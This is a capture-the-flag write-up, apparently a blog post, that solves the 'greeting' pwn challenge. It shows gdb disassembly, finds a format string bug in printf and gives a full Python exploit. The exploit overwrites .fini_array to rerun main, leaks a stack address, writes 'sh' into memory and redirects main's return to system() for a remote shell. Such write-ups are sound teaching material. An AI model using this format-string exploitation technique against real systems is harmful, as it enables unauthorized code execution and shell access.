Description
Host : pwn2.chal.ctf.westerns.tokyo
Port : 16317
Note: To prevent from DoS attacks, output length is limited in 131072 characters.
As always our task is to obtain the flag on the remote server and as always we will try to obtain a remote shell.
The research
After running, the binary nicely asks us for our name:
1 2 3 |
Hello, I'm nao! Please tell me your name... Nobody Nice to meet you, Nobody :) |
Let’s take a look at what it exactly is doing:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
(gdb) disassemble main Dump of assembler code for function main: 0x080485ed <+0>: push %ebp 0x080485ee <+1>: mov %esp,%ebp 0x080485f0 <+3>: and $0xfffffff0,%esp 0x080485f3 <+6>: sub $0xa0,%esp 0x080485f9 <+12>: mov %gs:0x14,%eax 0x080485ff <+18>: mov %eax,0x9c(%esp) 0x08048606 <+25>: xor %eax,%eax 0x08048608 <+27>: movl $0x80487b3,(%esp) 0x0804860f <+34>: call 0x8048450 <printf@plt> 0x08048614 <+39>: movl $0x40,0x4(%esp) 0x0804861c <+47>: lea 0x5c(%esp),%eax 0x08048620 <+51>: mov %eax,(%esp) 0x08048623 <+54>: call 0x8048679 <getnline> 0x08048628 <+59>: test %eax,%eax 0x0804862a <+61>: je 0x8048656 <main+105> 0x0804862c <+63>: lea 0x5c(%esp),%eax 0x08048630 <+67>: mov %eax,0x8(%esp) 0x08048634 <+71>: movl $0x80487d0,0x4(%esp) 0x0804863c <+79>: lea 0x1c(%esp),%eax 0x08048640 <+83>: mov %eax,(%esp) 0x08048643 <+86>: call 0x80484e0 <sprintf@plt> 0x08048648 <+91>: lea 0x1c(%esp),%eax 0x0804864c <+95>: mov %eax,(%esp) 0x0804864f <+98>: call 0x8048450 <printf@plt> 0x08048654 <+103>: jmp 0x8048662 <main+117> 0x08048656 <+105>: movl $0x80487e9,(%esp) 0x0804865d <+112>: call 0x8048480 <puts@plt> 0x08048662 <+117>: mov 0x9c(%esp),%edx 0x08048669 <+124>: xor %gs:0x14,%edx 0x08048670 <+131>: je 0x8048677 <main+138> 0x08048672 <+133>: call 0x8048470 <__stack_chk_fail@plt> 0x08048677 <+138>: leave 0x08048678 <+139>: ret End of assembler dump. |
First, it calls getnline with two arguments: a pointer to a local buffer and 0x40. Let’s see:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
(gdb) disassemble getnline Dump of assembler code for function getnline: 0x08048679 <+0>: push %ebp 0x0804867a <+1>: mov %esp,%ebp 0x0804867c <+3>: sub $0x28,%esp 0x0804867f <+6>: mov 0x8049a80,%eax 0x08048684 <+11>: mov %eax,0x8(%esp) 0x08048688 <+15>: mov 0xc(%ebp),%eax 0x0804868b <+18>: mov %eax,0x4(%esp) 0x0804868f <+22>: mov 0x8(%ebp),%eax 0x08048692 <+25>: mov %eax,(%esp) 0x08048695 <+28>: call 0x8048460 <fgets@plt> 0x0804869a <+33>: movl $0xa,0x4(%esp) 0x080486a2 <+41>: mov 0x8(%ebp),%eax 0x080486a5 <+44>: mov %eax,(%esp) 0x080486a8 <+47>: call 0x80484b0 <strchr@plt> 0x080486ad <+52>: mov %eax,-0xc(%ebp) 0x080486b0 <+55>: cmpl $0x0,-0xc(%ebp) 0x080486b4 <+59>: je 0x80486bc <getnline+67> 0x080486b6 <+61>: mov -0xc(%ebp),%eax 0x080486b9 <+64>: movb $0x0,(%eax) 0x080486bc <+67>: mov 0x8(%ebp),%eax 0x080486bf <+70>: mov %eax,(%esp) 0x080486c2 <+73>: call 0x80484c0 <strlen@plt> 0x080486c7 <+78>: leave 0x080486c8 <+79>: ret End of assembler dump. |
So it reads at most 0x40 bytes from stdin, stores it in the given buffer, replaces the first occurrence of a new line character with a null byte and returns length of the string.
Getting back to main, it uses sprintf to format our buffer to another one with:
1 2 |
(gdb) x/s 0x80487d0 0x80487d0: "Nice to meet you, %s :)\n" |
Then it calls printf with the second buffer as the first argument. Yay, a format string vulnerability is present!
The pwn
We have a few options to go with now:
- Overwrite strlen’s address in the GOT section with system’s address and force the program to execute main once again. This way the program would run system with the provided argument ( /bin/sh).
- Leak stack address, write ‘sh’ to some place in the memory and execute main again. Next overwrite return address with system’s address and pass it address of ‘sh’ string as it’s argument.
The first option is definitely easier, but second one is more universal and can target more similar challenges, so we will choose the latter.
Now we have to find how to change the program flow and execute the main function. After dumping section headers:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
$ readelf -S greeting There are 31 section headers, starting at offset 0xbc4: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048148 000148 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048168 000168 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 0804818c 00018c 00002c 04 A 5 0 4 [ 5] .dynsym DYNSYM 080481b8 0001b8 0000f0 10 A 6 1 4 [ 6] .dynstr STRTAB 080482a8 0002a8 00009c 00 A 0 0 1 [ 7] .gnu.version VERSYM 08048344 000344 00001e 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 08048364 000364 000030 00 A 6 1 4 [ 9] .rel.dyn REL 08048394 000394 000018 08 A 5 0 4 [10] .rel.plt REL 080483ac 0003ac 000058 08 A 5 12 4 [11] .init PROGBITS 08048404 000404 000023 00 AX 0 0 4 [12] .plt PROGBITS 08048430 000430 0000c0 04 AX 0 0 16 [13] .text PROGBITS 080484f0 0004f0 000252 00 AX 0 0 16 [14] tomori PROGBITS 08048742 000742 00003e 00 AX 0 0 1 [15] .fini PROGBITS 08048780 000780 000014 00 AX 0 0 4 [16] .rodata PROGBITS 08048794 000794 000069 00 A 0 0 4 [17] .eh_frame_hdr PROGBITS 08048800 000800 00003c 00 A 0 0 4 [18] .eh_frame PROGBITS 0804883c 00083c 0000f0 00 A 0 0 4 [19] .init_array INIT_ARRAY 0804992c 00092c 000008 00 WA 0 0 4 [20] .fini_array FINI_ARRAY 08049934 000934 000004 00 WA 0 0 4 [21] .jcr PROGBITS 08049938 000938 000004 00 WA 0 0 4 [22] .dynamic DYNAMIC 0804993c 00093c 0000e8 08 WA 6 0 4 [23] .got PROGBITS 08049a24 000a24 000004 04 WA 0 0 4 [24] .got.plt PROGBITS 08049a28 000a28 000038 04 WA 0 0 4 [25] .data PROGBITS 08049a60 000a60 000008 00 WA 0 0 4 [26] .bss NOBITS 08049a80 000a68 000028 00 WA 0 0 32 [27] .comment PROGBITS 00000000 000a68 00004d 01 MS 0 0 1 [28] .shstrtab STRTAB 00000000 000ab5 00010d 00 0 0 1 [29] .symtab SYMTAB 00000000 00109c 000500 10 30 46 4 [30] .strtab STRTAB 00000000 00159c 00031d 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) |
we can see there is .fini_array with one entry – we can override that (You can read about it here: http://docs.oracle.com/cd/E19683-01/817-1983/6mhm6r4es/index.html). Overwriting a GOT entry would be an option, but there is no call to any address from GOT after our vulnerable printf.
Side note: you can check what’s inside .init_array (there iss a function which makes finding system’s address trivial).
We can also see that the BSS section ends at 0x08049a80 + 0x28 = 0x08049aa8 and we can write ‘sh’ string we need there (this memory page has write permission).
Let’s dump some stack values:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
import socket import time for i in xrange(5): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("pwn2.chal.ctf.westerns.tokyo", 16317)) time.sleep(1) s.recv(66000) mes = "%" + str(i+1) + "$08x" s.send(mes+"\n") time.sleep(1) r = s.recv(66000) print r[18:26] s.close() |
and we get:
1 2 3 4 5 |
080487d0 -- return address from printf ffc18aac -- this looks like address somewhere on the stack 00000000 00000000 00000000 |
(we could dump a lot more, but 2 values were enough in this case). After checking locally with disabled ASLR we can find, that this stack address points to 0x90 below our return address.
Now we have everything we need to write the exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
import socket import binascii import time import struct # 0x080485ed - main # 0x08048490 - system # 0x08049aa8 - wr memory (right after bss section) # 0x08049934 - .fini_array s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("pwn2.chal.ctf.westerns.tokyo", 16317)) time.sleep(1) s.recv(66000) mes = "aa" # padding mes += struct.pack("<I", 0x08049934) # .fini_array mes += struct.pack("<I", 0x08049934 + 0x2) # .fini_array + 2 mes += struct.pack("<I", 0x08049aa8) # place to write 'sh' to mes += "%2$" + str(0x0804 - 0x12 - 0xe) + "p%13$hn" # write 0x0804 and leak stack address mes += "%" + str(0x6873 - 0x0804) + "d%14$n" # 'sh' mes += "%" + str(0x85ed - 0x6873) + "d%12$hn" # 0x85ed s.send(mes + "\n") time.sleep(1) r = s.recv(66000) addr = int(r[2000:2500].strip()[2:], 16) addr -= 0x90 # addr is now the return address of main mes = "aa" mes += struct.pack("<I", addr) # return address mes += struct.pack("<I", addr + 2) # return address mes += struct.pack("<I", addr + 8) # first argument address - we put 'sh' address here mes += struct.pack("<I", addr + 10) # mes += "%" + str(0x0804 - 0x12 - 0x12) + "d%13$hn" # 0x0804 - system address begining mes += "%15$hn" # 0x0804 - 'sh' address begining mes += "%" + str(0x8490 - 0x0804) + "d%12$hn" # 0x8490 - system address ending mes += "%" + str(0x9aa8 - 0x8490) + "d%14$hn" # 0x9aa8 - 'sh' address ending s.send(mes + "\n") time.sleep(1) s.recv(66000) s.send("ls\n") time.sleep(1) print s.recv(66000) s.close() |
Note that we added 2 bytes of padding to align addresses in our buffer to 4 bytes.
Running above script gives us:
1 2 3 4 |
$ python pwn.py flag greeting launch.sh |
It’s working! Now we change ls to cat flag and enjoy our victory:
1 2 |
$ python pwn.py TWCTF{51mpl3_FSB_r3wr173_4nyw4r3} |
Leave a Reply
You must be logged in to post a comment.